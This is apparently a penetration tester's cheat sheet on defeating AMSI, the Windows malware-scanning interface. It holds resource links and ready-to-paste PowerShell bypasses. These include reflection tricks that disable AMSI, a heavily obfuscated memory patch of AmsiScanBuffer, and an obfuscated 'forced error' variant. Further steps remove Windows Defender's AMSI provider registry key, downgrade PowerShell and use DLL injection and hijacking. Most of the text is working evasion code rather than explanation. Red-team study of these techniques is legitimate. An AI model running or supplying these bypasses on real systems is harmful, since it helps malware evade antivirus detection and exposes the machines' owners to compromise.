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AMSI Bypass and Evasion

Resources

# AMSI Bypass Methods
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/amp/
https://www.contextis.com/us/blog/amsi-bypass
https://fatrodzianko.com/2020/08/25/getting-rastamouses-amsiscanbufferbypass-to-work-again/

# DLL Hijacking
https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/

# AMSI Bypass generator
https://amsi.fail/

AMSI Bypass Methods

# Methods pulled from the previous mentionned resources
# More details on the resources

# 1. Powershell Downgrade
# Older version of powershell doesn't use AMIS
powershell -version 2

# 2. Base64 Encoding
# Original AMSI Bypass
PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Base64 encoded
PS> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

# 3. Hooking

# The DLL needs to be injected into the PowerShell process which the AMSI bypass will performed
.\SimpleInjector.exe powershell.exe .\AmsiHook.dll

# 4. Memory Patching
https://gist.github.com/am0nsec/986db36000d82b39c73218facc557628
PS> [System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
PS> [Amsi]::Bypass()

# But you might need to obfuscate some lines, displayed using this
.\AmsiTrigger_x64.exe -i .\ASBBypass.ps1

# Obfuscation
${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)

# And then 
PS> .\ASBBypass.ps1

# Another method is described here
https://fatrodzianko.com/2020/08/25/getting-rastamouses-amsiscanbufferbypass-to-work-again/
https://www.contextis.com/us/blog/amsi-bypass

# 5. Forcing an Error
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);

# Obfuscated version
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);

# 6. Registry Key Modification
# AMSI Providers are responsible for the scanning process by the antivirus product and are
# registered in a location in the registry. The GUID for Windows Defender is displayed below
HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}

# You can remove the key
# Requires elevated privileges
# Not a stealth move 
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

# 7. DLL Hijacking
https://sensepost.com/blog/2020/resurrecting-an-old-amsi-bypass/

# Once the DLL is created
# Executing PowerShell outside of the standard directory will load the amsi.dll file
# which contains all the necessary functions to operate, however AMSI will not initiated. 

# Example
C:\Users\myuser\Documents\amsi.dll
C:\Users\myuser\Documents\powershell.exe

WIP